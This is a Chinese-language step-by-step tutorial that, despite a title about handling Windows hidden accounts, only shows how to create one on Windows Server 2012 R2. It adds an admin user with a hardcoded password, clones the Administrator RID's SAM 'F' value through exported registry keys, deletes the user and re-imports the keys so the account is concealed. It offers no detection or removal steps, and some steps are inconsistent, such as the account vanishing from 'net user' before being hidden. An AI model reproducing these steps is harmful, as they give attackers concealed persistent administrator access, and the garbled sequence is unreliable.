Windows隐藏账户处置

一台windows server 2012 r2

一，使用管理员命令行创建用户

右键   选择管理员命令提示符打开

 新建wzy用户

net user wzy wm052499.  /add 

net localgroup administrators wzy /add

设置密码要注意密码的复杂性，不然是无法创建

 二，观察wzy用户

使用系统计算机管理工具

 

可以看到刚刚创建的用户

使用命令行查看用户，在命令行输入

net user

无法看到wzy用户

 三，导出wzy和administrator用户注册表信息

打开注册表，命令行中输入

regedit

 获取SAM项权限

 

 然后刷新

 导出wzy用户信息

导出下面键为test.reg

这里0X3ee为随机值，每台主机都会不一样

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\wzy

 

 导出wzy的UID值

 

 

 导出administrator的UID项，在windows下，administrator的UID固定为1F4

 

 四、修改导出的注册表信息

将admin_id中的F值，复制到uid中的F值，编辑admin_id

 右键，编辑uid

 保存退出

五、删除wzy用户，导入注册表

删除wzy用户，使用命令

net user wzy /del

 导入桌面上的 wzy 和 uid注册表文件

导入wzy

 

 

 导入uid

 

 

 六，查看隐藏账户

使用计算机管理，查看用户，并未发现wzy

记得刷新

修改组策略，允许自定义用户登录，在命令提示符中输入

gpedit.msc

进入本地组策略编辑器

 然后关机重启，使用wzy用户登录

用户名wzy

密码 wm052499.

密码尾部后面有个英文的点 “.”

 然后回车进去